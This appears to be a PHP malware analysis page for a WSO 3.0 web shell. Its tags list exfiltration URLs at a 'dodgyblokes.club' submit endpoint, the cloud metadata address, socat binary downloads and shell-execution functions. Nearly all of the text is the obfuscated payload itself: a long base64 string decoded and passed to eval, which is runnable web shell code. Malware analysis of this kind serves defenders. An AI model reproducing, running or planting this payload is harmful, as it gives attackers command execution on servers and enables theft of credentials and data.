PHP Malware Analysis

Back to list

Tags

Encoding
base64_decode
base64_encode
URLs
http://169.254.169.254/latest/
http://dodgyblokes.club/submit.php
http://dodgyblokes.club/submit.php
https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat
https://github.com/ernw/static-toolbox/releases/download/1.03/socat-x86
Title
' . $_SERVER['HTTP_HOST'] . " - WSO 3.0
Execution
system
eval
exec
passthru
proc_open
shell_exec
Input
_POST
Environment
set_time_limit
error_reporting
php_uname
getcwd

Deobfuscated code

<?php

$j02792bbc2e67be8703c152bbeb030198 = "base64_decode";
$r64c4d06eda3470b8020837d07a5e64fc = 'JGkzNmE1YjQwZDFjMDQ1YjMwNmJhZTk5NmUzNTU3NTUyND0iZ1x4N2FceDc1XHg2ZWNcMTU3XDE1NXByXDE0NVx4NzNzIjskZjZhOGVkNDM0NGNjYzRhNWVjMzUwNTQ5ZmU0YTU2YzFhPSJceDYyXDE0MVwxNjNceDY1XHgzNlx4MzRcMTM3XHg2NFwxNDVjb2RlIjtldmFsKCRpMzZhNWI0MGQxYzA0NWIzMDZiYWU5OTZlMzU1NzU1MjQoJGY2YThlZDQzNDRjY2M0YTVlYzM1MDU0OWZlNGE1NmMxYSgnZUp5Rm5NZU82MXlhWmQrbGtFQlZnZ042aDBRUGFFVFJlNDkvUXUrOTU5TzNvZ2M5clVIZzNnZ0lKTVZ6dnIzWFVranhyN3JFYUlMTTZRU21NcnFBY1J4S3lCekZJRFNsRUJRcktQci8vTmMvTUViK0E1UEk4YzlORkw5djBOKy81ZkFQVEVDL0wrVDNEZjdQVGFMYmYvM25YME5lNUhSR2xDV01ramhCdzNtVzB5U0VVa2xTSWhrR1lkVC9PeGlTL0QyKytBY2lpSDl1RlB2bjkrRGZUN0gvZitqODl4Lzh2LzVUbkVuL1AvLzZYNi92Zi83M3MvN1BmeGZ5STR5Zi9MZ0Z6a25MM0ZFVWJyMllMMjBSSDVIV2NYSnFVc2lKVGFnOFBiQk9BVVpzcXJyRFlrb0YxSzloeXk1STM4dTMwZFN1NFpTbGNTUmVJNTdQZ2lsTlo5LzdKNzVaU2YwOUJBUnJWM3pPdDRqRkVxQ2JaTVhRM0MxQlN2cnNRZ0ttaEFLK05BdUNSbEdLRVdSOXZjWDlSakF2K0hZYmYySk9qc1dRRTd6bUsxblZYWUtBUklFQUNFSTNxRktvTS9EZ1dZb0VmZmtCR0pEV2tyd0FGWVBMSzhVZ1dKcWdxZnlPbTFNbnZZRGdrdHNpS0NoK25YOU1jazZxNUZOcjZtbHFpaXBHdFFzY09IM3FnS255aVV4Zmhmd3QyNm1rTTZQM1F3eVZ1OXlwSDlXVGl3R0xvMUdKd2VrRGs3c3VqNjJVSTQvdVlweStYZGExY2luSDBxbnF0Q0dQSE9QOFJDbzVEUUw4UklvQzlDemk3bjBPSzErV0Z5b3VrUkdFQ1MyQ3N5UmZyNXk5T2UyNU9oTmZDNTJtSXdPTmJaYWVjYmRLMnZ4WnBhMnU4WGVUTUt3aGs2Rldzc2I3VmRsV0ZIM2MvbktxSzRrUUo4TUJGMTNva1JoaXY1c3dpZTYwNkV0bXgwVm1sd2pVcXJLV3o1WkdkdWtmMlNXcVFKK0lBTWhmWldnajVkQUQ4eEFuMkxmcEovSDBwMUkvMStjYUUrNml0cmpKeFh2YjJDdGhSaUZNeWh0L3FUd0FPV3Y4WFh4NlVyOUxaYTlqL3NaaWNZTkd5c1lyamNGTzN5U0k4NkVJamhNRDJSbk5aZ21hZ2NDQVJIbzFhS0pIRVNjbVFUTjRiQTFwd01YOG9HbFpXN29aQnE4WjdJQ1JNTTNxY0UyNmtNSStmcG12cTVYTkRsc0FhU0Q0cDdsdmlWUk11cFZncXpOSUpwUjFxWmtWWDJ5ZUt5Ynp0bGFJVm81S1lsbWVKaW1MSzZWbDdLSjUrOTJ1dlJXWkpSSHdvRDdjcXhRUVdRQzU1TGt3a1padlBrMWJGYisxM3FNdWVJcDU2Mk8vRXNqb2VxNHlQeFZwV3NTVnl6UXk2MlM0ZU13T3V6TVZXWnJ2dDNjUUV5b2VDRnBwbndSb1JJRFh3WkM4QzdxVm9aRlFnRFRISzFhSEcrZGJ5UzlEcFZQZDNjalI3ZVFtZ2lwM3lEdGVaQ0xvMFpEVDhtajRNdzdYMGl2SWJXc2ZnS3R0Z0NHT01zd0dEZWt4d0RsdW1xY2haUU1DUVZYVmJ3dk16QkwzMUhQb1FQMUNWZlBxRTg5NnVYcUVURGxEYUlNeXAwUzc4WEpJVjEzeVhIbTZ3TkRTN1lQdmVmN3FVUDdSUHQyVE95d0xGRlRQMWxFWmpOYkhkMEpya2FkdDkrQjFKTjd2dTBZeW51OFVEa1N5dStEMkM5OTZmZ2syQkJ3b3IvMzJxQkYxbU5DZnNMdXJyQjlON1dlMm01TlIwbUQ1S0Ziemxyb0JkZGxkZXNUVkxzS0xCL25uNFRRSXkwSUM3aTBPUkEvdmU2Ukd5Um94bzN6Ny91TTRtNnlYa0VYRnJNRDdIc3h6UTZpVEEzbUtrNGdzMGEzVWpzc3VqZURrTmdOU0c1d044TEhVSnJuSkI5WTJOaThlN0N1ZTl3cUdObDJYcTJIazB0eG1jaUQxUkZWR2RPa0FuRTFlVytRWTIyNVFhNHovMGk5aGd6cHZ2TERxZWQ2S0lQRVlIK1NZSEI2SzVwd0JlU0UvWDh6clFFNUJvb0M5T3ZZT2tBTmE0N0tHdmNIL1lDQk1wbHpJZjE4bE5EVEdHRjVlUnZaT1ZIWjcvcFRMNnp6aWRTa25CdnRXVHk4Y0QvSFpoVjUwK2M2WHRGYzU4MWtKZm45ckRNbjZmcHFnOVVvUW1IbUQ5UnU1K0padngvT0FzVE8wVFJrV21Mb3NTdXA4eWtvYk81WjU2eVlXbzBDNWJ2UGs4NEhKMmRUNzdKSHN6TXFpQm1DMnNZbGdyZzZUNEIrcEY3QWU5SlMrM3pmL2Q2SmYyT2JSZzh4RXBTYWRIN3RFRDloMzRoU3JYT3h0dkMvQll3cGE5bG1RMDAwRmdLNWhUZEpaNUcyNEV2bGVtZFRPK2o1OEZldnRNWWprd2pvTTdEUzR3K1ZyMy9RekY5TmhCVTVRbDFkTnN0ckRESmp4dk5YZG1DZEJpN3ozd1I3NkdyVmhyaHZQWTVZRjM5RlY4cGw4VHBHV1lLWmQ2R1FoSmZuVmxSbUdxdzhmd2JIZTNldWpYVkV4UnhOQSs3eHU2TVBBYzliU0hYQUY2K1JTZXkyYzg5aCtlVng0SmZMZjYxMHZBTFZxN1NNbTl2djQwUjJhb2FhM1U4QWJBRC94SjZpbGJ5Vlc3bGFYZGFYcWJHa0x1MDhhRGNJVlg5U0RSekZpTFF6c3ZXUS9idFE2akUvT0JtOW0yQ2VqeGlpaGkxVXdUa0srQ082T0JrdWt0SVc0eVYvRDkvMVA2U052bnl4RmZiZXBKUXloSUFGbmRtZ3ppVUs3cGdFVzRUNHlURXZhY0p4c1BDRm4yWWR2V0tobzAwWFBZcTBPSlhJUURiRVNPTXRJVXVSWDZZUHYvdTJTVnJldThPUkNRdXBXeHhpcjN5by9YKy93b3hOaVFOMzgySUxEa1VTUmV3dEFvYy9iMHZwdno1UTAwVW9DTDlrRkpiK2JNdGN1QVRVc2pTMkUrUmxkZzcrRFFhUE5yakRsckJpUlB1aStscTdvQWlPNzMyMzdJQ1cwNmhvanNtZDhNelJ0RGJ5UC90b1lpYlltWWZPTTZIdWI1RXpzL0xyQ1lhMWpyTDhncW1oV2pFUndHakRJQkcxaHh1a2xVT2FjemEwaHBHRVhPdVJnYlljdHh2WTBkQTR3L3ZHTDhRdEFkQ0tEL0xqQjlzcnZ5TXl2S09CUFhiaC9jSzBzVWhOMjR1cGpMZ1JhclBhdnpWUWN4UzlpZEc5d1c3Q2RINDlxWkMyekxKcDhaN3YzWXdLNHNCQmJpbkFCMVQvMnZMOW9KSmlpV2JZWWNGQ09EZFh4YVZOUFhma3RSRndlcEFoQkh2c3lnVGdzc0tHcFc3bWw4MDN4UjVOM1dNTWpMb0lQQlplbVQxQmVMU0ZhakEvMTVqbDJzTXpIWi9WTzJVRzh5aWR1TEQ0clB4SXJFMG9KOWVxY0dCemdzSmlRUUVEOXhhZWlsT0c0T29FUjV3Uis3VFQ0Uk8vTzIwc1lKM1NueUxXdURCQjdHeGd5L01ZYlgyT0NvcHk5UWd3M0xkWkMwUWtCKzhuU1NlVE5IRTJ2YkhBWWt0MUNJdGNxQXhmNTZwQVlBYjdVYU5lWFU5bEFWb1hOcGRFSnhEZy9XdzlCZFFKQnVtbFF0N3pkMFZvZC9seDF1L2tyK2pDNnErM3J4d2l6aFJTQk5MU1Z4NkpFeDBGdzhkeDNLSlFqd1Fkb0dwcmJGQjZZR1Vib2tqY1F4NngwS29DMVBPUVhCaDgrZGE0MFF3ZThpMk5GVG5jYmRlNDNmZ3JGQm5IVDJnUGhRWld2MzUxUEVjLzVBWWRReUpoV3ZuR2F3TWYzRk5yNzN2NmFNV3M4ZDZpYlhkZVdMWXh6TzdIbFhFVGs2WVMzRnNBVTJsb3VFUDV1ZXJya2JpMFkwYmVsdFgxV05LaGtueWpTWGRacVVBeGdFSnJHZjIxNW5rQmRpV21vL3RKbVNRc3N6bVpvYm0waE5PTkFsa3dSdDFFVGc1bXFNT29BV0Vmb1BVdCtLYmp0RjJ1aGU1SFU1VEYyWGNEeFplaWEzU2h0RjUyMU1JOUduVnZsSmtBc1dtcFA1MDlnL3l2Y3J3QUVpTFFxaHpBMERWL2VNVlQ2WmZ3Q0t0SFkwN014MGFmZEh2Z09Fd2ZXSDFaQ2NQVzJTTWJLM0ZBcHpuRk1DaWRadjdVS2pYUUVjNStHYUJ0Y2VKdTZEZHAxSTZBWnZBTTZMVHMyNk1lTllKUCtqTTV1dVhwSTBaRUlFM1FCeUlwZmJxUy9DdVFnd1dreDFObkp5RVpaT0N6a0pRZk1ISmJNNk8wOEtXTnphdThCNml1QS9NY2tSUDZNRXZ1VEJmWEVpYk9HMHErZ1F4L1VseDBKR1c1UWl2anlseEtKdko3em9hTGtCRWtBMDVIUS91V1BDbXJMN0dEUzFFdy93SE0zVGVMVDRTTjhodEVoQTVVV2t6b203Z01TNlVaRHBGZGhnU3hIN1k5WDN6dTRJZ3p6NW9PQzZMenpkWG9lL0lpbVZHdjdlb1h1RXRsd3l0cGpjaUxRUG43MVY3eFdQbW8wa2xYMCsxYzJGT3REWWY4d01HWDZ1Y09VeVhYSVI1djMzLzZiYnQydjZxeEtlbjc4YTZnd1B5WnJYdTNUL1NBbjI1aDVzMzZJcEI5bWdaRitNZUcweDZQTmcvaFlXVUxlQ0RKWHNpRnZ2Nzd4TFJoM1pPejJ4bVM3YW9MN2huME50KzVsUEhkMG92b1FlMUNtekhGN3ZZMHYvTHAwNDlhRS81RjhISC9PNjFMcnl3Y1ZHajZndzlhU3lBamdRSDJyVkkwWWZlTkp0ckhlUjg2NlNkNG5RNTBsWFRoWUxVUVhGeW0rTTJWNTZpQ2FLelFHN01wT2N4NGduN3Z6UGZmMjBlMHFZQTlHMzRjcVB3WXlVbFVDbHVsZ3lpVHdVd1hQSjRCZnhKQUxnUTNacjRmQk11S0hQdlVEU1gzaFFOd0NxMG0rTjhBa3NSNzFSRHpqVmRIWjV2bitZTDZjUjEzRUlxTytib2FqSGt5SDNEWHo5T0JhM2RMWTZwNlBlZWZnc1dMaGZlcXlQR0VqSjhGUGFYY2xXTlBXTFRjS284Z2pXeGU3dUYrT0RZNnZyWWg4c0FwS0NpU3ZFaGR6UFh1YnU0LytKVGl2VUwxdUlyRlVxdzhsU1kvWm53NVg5OHNPWjNQWDl6Tm5SWVBCWGN2WjJuaHBYc254a3c2aHJMZmFLVGxkckZZaUsrWEMycXZCYnlkd2o2bEo5amErekxqMW9iakhrVTR0ZHVycGtEZFl1ZHpZSTZoOGNJRE5KbnFUUUtwc2laaGxyQlpwelZrQW9CWUZGMjJFTUlIUW12MUlkeFpvOWNSclRHT3RXR1JpaThFU1A4TmF5Y3UzdXBkZjRhVDhNVW81bmhLQmtubUttZ0kvVEs3TzRRcklsQVIrVXd5TkVleklvU1ZTMnc3MTlKRzd0R3IzUXRDeVUwNzlzc3FkaklHWlVTTU1tNkI3eEgxQjR4NzBtOWpCRXprVFArMVlNdjRNTEVYS0pxcG81TTVWNnVlM2huNndhVGRRbDU5alZZRDZzYlJ2bmJ5eUlHWURubThKOWxyVktCMUdIeDhheWNzV1BRQm5UbDhWSG1mNFVLampSck1velk1ejVsaUpjVkE2RExCaVBFMzc5OXdjK2pDczRsSVNsa09TcTR4VjFPaWpFdlo3dXhhUFhrRWhxYmJNT1hlaDZkU2JtbWp6Y05CNEMwamN4L0IrRXhSUitUcUFnRW9CaDRNVjEzUDdTV0hKdStDRlpCUnZraXQyMnNaaDBzWEtiSlRkTW9aUjM0Y0l2a1d0T0ltR01PQ0Q1aC9MWVk2S2tKNzZKeWJWL2hFK2FOODVKeE1lTVBYUnhva3g1OUZwWk1TSVkrczhCNEtmazBYUFN5aFhqcHduQ1pTaG5BSk9OTkZ1dkxVT1RiNU96VmlRdTZhdXdQWXB0emxSbHBtTzdNOHZUSVZid3pwUFpROXVvZ2RkbFNWS1BuNEtjU3luK2hQSXR3NkpwT0dkSk5nRTd4MHFaTlFUcXAwYTBxS3MxbTdUN2JrOHNiTGJEWndBOXdaK2tvZkM3RENtaXpnY1BGKytwcGNrSVBTQVJ3NjQ4T0cwMHhkcDEwbkRtenVYRGUxbDFES0ZKek9vV2llN2pWSlpuTVhyRlBOK3hRRTMrUE4zSTJhZ25vZkNXbUFlNFBhTHlLZXljK0RrVkxEalk5MlBmMTN5NlVVTGQ5dVlsNU5JNlRmNzArd2FFWUY2L1J1a3FrS3FqVFpXTTA5RWZLUzBtL2M4NFlrbjlPcC91d0tnVlJwSWt2eGRwUTJlWExjaXFoZW8xQjhyRWE4b1BBSGU0MFVGYlZ0WnRlN09SMHFlY050RUVqdlphcnljWVkvZUdEWlJCbDVvUUovYjRXUFRidlA2anBqQlAvSnRRTDNoWE9hSUVWaitsbWlBYldubm1EZGduSGxJTkVvVjBRcnRaOFdzeGprN0cxd25mN2NLUnNkb3hUUG93aWkrUTRMWWNzUWRjSWhrREF6TnlzWDRUb0x4ci81c0dUWDgyeGdPb1Q2WFNlWmJQZmNWb0xZcnJ3dEVXYUlaOWtZUHdVbStFOUJkYjFIbk5YaFRldmNkeHlNZmFmK2IxSUF0cXpnUWJCMjNtV0QvM2I1VllUZTJ3bWExU242anFHL1RrQnEyN2dSUnQyV0NuZmRCbStRWmpaODk3ZU4wam80VjZmRlJCbEMvc0x0L2JpZTFzUmtESDVrYzRsUUIvSE9CUkhEMnBpZEVlZ0NEYUs2SDlEdXJ1czVaOHg4VUtvKy94eDlNZWt2UzhrMjhDczBhOFJTbzdYdG9xOERvY1RCL0llMUZrS2JyWjcvc0RQZ2VZQ2MwVlVrMUdVaGpUOWFnL1VJWmxnbk5TWG9EZ0I0OWNwRFFPbThPTnJQK3RvSnYrNnZIS25sZWhLWXd1QU45N3ZlakxLMmw3Nk1ZYjltVWRxUnl3WFpQdnoxY0xXdFpJTUd5SnQwTXU0eC82Q0FxMXZUajFLUEJSeHlFOEZkQ1p0RysraG96MzVNUFVPSGhRTk84TkpXNTBoUU1zelZCYTJlK3pjZEpmbnM4Ymx2U1IzMVdvU1lqblRmMXFoUGJjRjhjQ1ZYa3AxbnkvclBJcUVkRmhmRS9MbFJDeTk0YUZJZW9TUUFXZ21lTmNOWkV6MitUM0FlY2pUVWNIN3ZvZDFsRzloRlNWR051WjllZ3N3Q3ZvSU5nY0xrYUZVWWVrL253R0pZb3ZOajliQVhKMUc4eXBpZ2tYN1ZJbmFZek51cTdnYkxoeUVzSDViUHFuVERyLzZiOUlZQjlrOHJPTjE5UjR5Qy9tYWp4MHZrZ1R4cW5lY21mUFdQZUVqckszNTRtSEJ1WG5sZEpzUm5KUUs0Q3FndEY5SDBHQ0paeWFnYTZZUjk5SjRuZDl5bDVFam1mZThESVB4UktGYkthTnluWmwxSkZkcmIrMXUvWFZ6V1VzWTVzZ3UzbzU4TElQaUxIQkVkaXdObnhDSFNNU1RtS0N6RHY0bENkUTJHVmxaV2FZNDJmSndOYi9NdTRQcjBGWGZYdDhQSlQ2TWJtbUtNTnFjblF3dUZXNmpOeldybkFhRTlZSGVsbW5HbkRHb1NMY0xJdkg4N0NCNnJkRmVoMFlqbDZhTTF5aklsYVVoMGVRbVZTdlVLY2REMUlXUmx2ZWs2bERwOU1zVG82K3pKc05hOVBJYVpuQ0FYOUl4SGM0ZEprWkVncDFGWEhvOWF2MXgyYldSblhiWGZyVmJuTTJqSTBOa1pPWnFFUndGSkJNQzQ1U2I3KzBJclB2Tm9jZ0tIM2VhTG1zcndpTUVheFdINFd3L0d6dDhBVVJnblZZRlc4N0hjUGlHS2xIbTNsc3QxckI3RDd3azlFV3RyakhIQUxQaW5aMktyWjIrdTZ1UkxqYkVjb29UcGd3K3QxMkd2QVBkR3hvY2Z2Z0FFQnJqTDhkdFVqa083b2Z3UlhiYjd5bGtwWTkwcWtRd1dxQUU5bHV6ckpoYlNVeEc0QnR5R1pacGtGN2ZiT1dsSnhsbUZsTUJjb3VtNEsxa2N5aFFRNEQ1TkFxUFhweUw4Ty9wbUtJaDBWOVJweVVmZjBTR1A4bHNRaWJMK2FXcG9kNGI1RFBUd0crbngyTFdaV3F5aTRPdVlpWWVWQXhjbm9aZlFjemVpb3hSRzVVaWZ0QVZEMmxxQ1pFRThHQlR5enZPZDBUcmlTRU5oKy9jTFZsUVVwVXZsY0hNUFA1WmkvZmpiNi9aUGx2bU1UcVYvcVlwQVk4VEhNaVp6b2ErMnJHWFUwaXlZaFNRZCtDOUtPTnFCWVA0WUxYNFhBaGNKZHJya2IxN1hpNHU5azZHdEs1S1pOU2I1SjBkREdmTHYrQ1pKM3R5eGYydDE4S3VZT0dZUTlJQkZFN2IyeUljVVdNc0R5M2oxUkM2UXA3aFJ0eDkxYlhBckFYZ2EvUjVCdjZDeE53d1ZzSlhyY2xYdnpXRmlGeGFOcys5dzBQTkRkQ0J1cFpVZGk2L3lTaTlyb254SS9Sd0ZqN1V3ZW5pR1R5TmNOUFcxT3BJQkk4dk5XZkYxOXpDR3h0bnk0aDk4S2lkZGt4Y1c3MDhNM3FIWGJVQTBTcXBVS3gxbDdYNmcyQVo2cnduQ05PbmNkYmlkaHEra0x6S0ZmMzA1ckxtWm1vSHM0ckdDeVc1M1daM1NsMXZsbDJLY0phQklCOGs1clozc2xzdDRpWkpkalhmdE9KV2dSNHNlUVA3NUtmcFp5NTVYV1E5WlBBV2pLaERYN1pxTFNGVlhJVWl2OTcxbXg5emNsT1BrQUI1MlFhNjFWaGlCNHdIdVV4RFowNFo2UkV6TVhpR0RJZWZWbCs3d29JUjJHTWpKRWVIRGlEOExRcnRWSmV3Q1ZwL2pnR0NPaUhFK01LUUFwMmhSalRiOVQzSUFNYmo5WVMrUExtWnZ0NFdJSDF0MDZHSVZyZjNxdnNUQTFHOTRWSm9KTElOZTlHZDRYZG1jQzdFL1hDUVkvcVkwTkNPR3F6cUtvcFlsRGNqU1ZrUHNGbTVWR0tsT2hVL0tacnFYZlVROEQ0djFXM29xY09udStlN2NTeHh3UHJRVEJhRVQwTThWbHVab3F3TmM0WGk5SGVpUVVTZUFiWnV6cnh5K3VrdUVySVg3ZlpPNWN1MWN3bnY0YVdlQzRUR1pCWndsSjkxVDRERzRqMGlZdUNhZmFrcUxYajJZaG1uV3ZLTlhlWVdFMUtVN1MwajNudnhMT2VEUWJrcUdzWk5WQkhTeThqYkc3dWJkOStGTXV2Q0sxOHZXTFJpMW8rck5DNXFpVkZpamtuanZpVTNRYTJtSXJ1T2JRR2JqaFEzdGcza3YwcTF6NUoxTG4yeDQzdVFtUmRyQnduYzN5a1l5L2lvUWlJTEMzWm56VVQ4eDZVd3hNd2ZCZUJMQXBCS040M2tqVDlwTkl4U3lCODVIMUpiZW1sL1haQUFuai80Nys3VEtTUXRRdWZiQXBtT1dTV0IvNEZERDY0Rk1Ya2JtZlNTZGVzWWwxYXl6ME1mamhWQld5TmdSUEJya3NlZFNzOEVtM1BLb2FncE9lendQdWtXdWlsTFFMKzAwbjJrQUVpWFJyaSt2RzJrUEZ3aU5XVmt2SzRkbnI4eFVsV2FJOHczZmhPNjNPOVdRTXcyR09Ja3VLS0xiNXRWTitOa24rTnpvMktyaVdMcUs4em9MSjB2aWlJSTR5NHpadWlTT0M0RDZhZlU3S2orQUxCa1FwMkFINGJXVGRyeUIvVXYzQnlUWFdJbzM5bHRvYmhQSlVKRjVyQm9SMHpnU3ZCY2h6WndaYVRsc0QzTEVucnVhMGhhdStJd2pzVDlRUXVSbENlamFQQXJ5L0NnbXpld3FEbWJBay9LeFhTT2Z5ODhGOXdEYXNobW9CZjdpK1lTTGN4eGhtWlY3aC9TMU56RlUvdWRtVFlHNFBUUDZxeTRqdkpsUU1NTUdVM1BIZEhBRG1VR1lyNmdZbm93OWhadjJIS2RVWlpLNFppKzd6TW1LS0VldXRTR29uOEdaaXhKREJhbnNka0dLN0F5NHREam5IbENhemxwYW1Bd1FBdVN6S0swZnRkYldESEUvNVVzUkxBWWdlYkprWGdhbHJaNDFyS3R3QXRacE9LbmlYMG9acWpWRXRzWEF4OFlZRCtod2JjQ01ZbHVVNk9NMXg0VWtIWmw5WmpDOGdnU1RLTG8vTk9odjViNTZBaVBtNUNVVGFtRkhYMkMwVHhIS3Z1eGpaOW82bnRXV0xkYlh3aVh3U2p6SjJUNnhFd21hZFNwdGdwSFhUbGJrb1FwdFlzRnVCU0Rwd2F3Y2Z3NmVHQk1CazdGaEk5aG9JZEYyc0NPVUtneFgwR01XMVdIRlZJSGl0TXY2TUt2OEJ6R213ZTJCOGxsbnZEUmpma1FDczJBbmRDc1A2RnVXU0xtTXJXZG5xeWZFZ0wzVkhDRGxCelZUd1Z1OEExVU5MalkwR3o4VHNmakZ4SktNb2lWOVkvbFJUS3dvdUFZSXpsZXpmTGNES3ZZNUFNV1JqNnBrKzVKcDhJUUJqa2U3cW9aUWxuWlc4Y09nWDVrMW84QjArdUNFYS9SWmdSYjhVMTNuT3J5Sy8vQ2JxbVA4VVAwZWdkUFdMcXI4VlFEeE50MHoxRTQ2MHU4RFhkelpheUZFS3BEL3dIeS8wb3pGcG1uTE96aU92bjVHbUJHRGpheUJ5eWZUOFJSTURSNHVBOVFsOTlYSUgyZkxQRWJRMFVUV1FJZVJLMCtmV2s3dlFaRW5Sd3B5QXJqakIyV2NsREpFTy80SCt2ZXZWVzRidndUenY0a0l6Smx5L2VhZTZpemJ4cy8rWmd6c0ZZUWRHNy9wT0JVODdKUmtsZlgrdnBXN0dFMnRtR1Fmc1JaVnhodEFYS09nRm1WUkw3enAzWFpJMjViZTYwMHVDUmF5MVFtWUtaVlVtUVAzMjFwNDcwTU1ZUDJoR2ptK3AyazlKNXBRWFZ0OThmY1AyMldIajh6dFY4eEtITWkxRlVyendsUDNLOG53c3E2QWVudGp6N0h5RFBVeS9MZnhPdnpySC9HUVY0Ry9GMmZ3Njk2Nzd3bXk1cmF0RlUvTEkwdllPbEcxRzhiNDdVWEp5dWJTKzRhN2dZblc3SXpDL3RDa2RhRklCaGpxQk00eUo0UjhKcysyMHFpRVcyREhqU1JMck0rKy9OdVJadm9CMU5PcHJEK21uOXZDY2I4clBuOHl0d2h2SmVCanNpdUxnOFMvU0haemM5U0dWOVloOGZMN0I1bHNWYytTdFBkQTROMU5QZUQrbHBQVEFCeDNxbjBxSk9PSVN2OXNQVWp0SUQrMEpTYVBPdUU1S0JpWEJHQXZNbUg1YkV4YU1YTFAvT0JEQnE2ZVlmeU5WTFN2S3F6dEp5WTJnaFV1RjRTcUIvTEVJbGpkRUxPK0xPWkM2dmplZktCdDdvMFVGVGxHTXZDdlRHT2IvZklIU3cvQ3JUeUpzd0pJNUlncm15ZWFWR2hMaUxZU2J6L1pDUXpvM0t4d2ZiL2M4NTRkdCtid1ViOHI3OWc3M3FobWZ5cS9ubEtqVlVSVWdvQmVTTXBUUXNVWjJLek13VVdDZTNRbkZWZmFXVk5pYjduWHZ0Y2xpWHB3VzJpSEFWOTRXdm42QnVENUtpN1E3K3hiam9vMUVrUE5YelNjRjExbStUcFJ1cU56V1BFdjBHNGVXakpUTDk3eWJMZ2UvQ28rdmlGbHI4NUYrUTkvNnl1U1drWjcza2NkNEVzVTN6QzBVcThKUGFlUDFnRWVld3hXcWN6NGU3QW81ZHhLRm9ndmRheE9GSDErTjhDM2UrdWRLVnZYZ2FuWGM5Q09NWGV0V3R6YzI3djI3Q1FKUmJWZ21HY25IU0lGKzR5RWtycjd6NTVoT2dzeEZveVhCaXNRMDJuSGo1d0h0SDhHMkZ5Ujl3SGd1VEFvbnMwS3RzaGw4alk3RFg2a1JyR3dETEVERWVWZkVtQjY5TWlHdng3ZC82RW82c25CRWZzNWdFaTZ6ejE5cGo4QlA5WTR3Z0VDTGw5TkwvVFpjbEVHQ3prMTFwemlnUnlBY3BXWHF3eWd3L1k0WFoyS2ladnFqeWRrUGdrTjVnUEU1S291bCtaMUJpV1pQT2xtY01yM1Qxb3YwWjR5MHprVjI1Y0lyQ0lnNnhST0J1Y1JnQ011NG8xMzZmaVdmTWFEZ3ZrUHRENmxWcUNHN09yZFFJTXF5c3IxaFZSbE9zRmtCN0Joc0xMNS8xenhPOG9sZ0R3ZXhkU3R6RVNkbEtwM3dOU0drNUl6TzYrQnRpSEpIM1YzK0hLaGhodTczS1hraE5aa2ZJZldJeTYwdjlrM2RkNmhDa1dsQzRNYkFtcG5yTk10S3ZremZlMFRieTRvMGV5aHRxbWlKVm8wTkVDWW05SUNqM2R3cm5vUURNYjUwU3Exc2hHaHowRGRZVkxqM0xjZmJ4a3kvMFM3aTFjTjYzc3gwNGtjRUxBVzlNTi9MaTh3aTJWSkRybkJZSDNSNEFKeUdvenB1c1d3ZlVjU2puc1FvLzU0QUU3T1paKzQ3Q3VzMTllWGtWWDkxVVJqYUZCMFp4Wnhmb3VUVFUzKzNBNGtqcmdoSEZya3YzQU5iYWQwditqZUVPVGg5WjFqTzZ1cEVoWW5mOWpEeEcyN0tvT2QzSjY0Z0Z5M2hLanl5SVpxeC80UWZzMlRZYWN0Zjc2TEpDY0RJbDNicXZEeUhUL2RqUUtuWGlPek9DNmI5U0ZNekZ1SlJjU1ZsL3hZTHFPWVdRU3dSeFpudFRMaklVaktNSHZ4T2tvZjJ2WS96QzE5bVEvcXZOQnY2NW93VFRZZGxEd1daZ2gvYnBDcFpCMkp3YVNkTlYzRmVKTEVsdXIvSnRjdnIzRXJBTnZJVFRhNWhlRU9ndTkzU1M0U21mMmIwQXlZS1c2dzVoZ2JDOWNSMEo5N2xFckkvYmhoUk84UlkzTFFGa2pkUDRCM3ovcGxuN2VFSy9Zbk50Nmk5aGZ6UVpua1ppSVQ5b3VLNFlzblk5VXVEQjJiVnd4VmoyUlJmelpEYUwyYTJ0YkhzVEpBWndmbXRDL0MzNFAzdGV0YWk1Qjh6eHUyeVd1WEx0L09CWGJ5dmttb2s2V1I3bEFQZ0VhQ0tpWE9hVnZPNlFHZHN2K0VBNVRWY3JIOUhYRG9IOWdQQWt1ajgwS2pDZ2xacXBUa3FQcXJJTmRQYlMycVNPZXd3bmJ2bzZGOUUxZU1OTkEwK0xjclRCM0Q0UjdiOSsyRVFBT1ZudkFLWlhqdWZiS0dwTVFYTjlrR2NjdGRicFlYS0JPdkRXNi9rb1JRQUYwclA2UUY5Zk4rUURZc1MrTVQxYU5zLzVDc1FNdXFqTTY2cUlxUWFtYlQxN3VQN3gvRWQ0UTlOT3lDOWdKQnYxeXYwa2xleGtPb3N6ZDJ4cG82Q1l6Wm9NQmYwcG5FL3ZPWnY2VjFiWURwVzAyNE1CYUVFZld4RFZ3TXBRVk1ZeEplOHVudTFQK2VYNS9MUnIzUmRKckNLQWFVUXRQRnQ1V3U0RFluR1V6bGcvdWhFcnFJYmlGKy9aUGpsWDhVRzE5RzAybytRNUFoT0lTbXBFNCs1VE9FZHZUNFRBUjl5Z1lEYTdkWksxL3VMZDgvZmE1ZW9uc1p4S3ZGRENJenJCZE1SZzlPSFRJL3EzbGhWQlhoOGhQdlkrZGlxcjM2a21LV0xDL1JVRkd2elJmZ01WZVNlTUQ1ZnFtRDZMejN6bXBYRTR3MGI3SzgzSmpHRW9LLzJNNDdSaHg5bkxDUEpvMGkrY0wrRkk0SlMrL1VJdFJlM0M5Nmxvc3RFbFdlNkQ1YU4rNTdVNWZ2WXNtaXJMUmNzQ1FrSjJHK1NmTXcyZmpvNDNPbzlVbUJraEliUktOeFhmU1diOWRzMFZCbzMvVHFnRFFmc1FBMU8rM2pPajVaRldSbTQyelNlOG1ZQVA4RmxIS2UvMjFnS2dka1VqeXkybU8yRnhOMFZOeWtJaXlOSjhqaGtwOUZyQmxhcVNPVncxbU0yUXpISDJRSEc1RnNsUWpwbVdhU3B1K1NZbXRkeEhJQytObEo1SEJER2tXcFN1ZXE5dGxvbTdKaVplUU4ydTNkME1say83ZzB6eTJOdzN5eHZ3L2lXVGdaaVhDdDBPclBKMzRybTBaT3gxMEZCaWErRU1oOVJGVkJDd2d1V3pQbXRERFRDNWNOdGd1TFJHSk40UmorNlh3bmhab3BBZEVmZkFFa1R2eGRVMnh0R3ZRZGRjZGU4RmJjNllnYXBLSDRpRVFJRFAzTS91eDgvQVRGZ1dCRnh6UFg4Q0tBdjhNUHdsUS9mZXZyejh1V2prKzN1TE4xcURJN3kzblM5Um9KQllFMWNpeGRCNUdLdXcyVkxxRXVXWVlzdzVFNzdPd1JhNXh1UDFBR3lWejllbUZ0NzYwejYyUDJ3R3lmbUlGUUgyQzVqUXVjSkRwOEh0Mlh0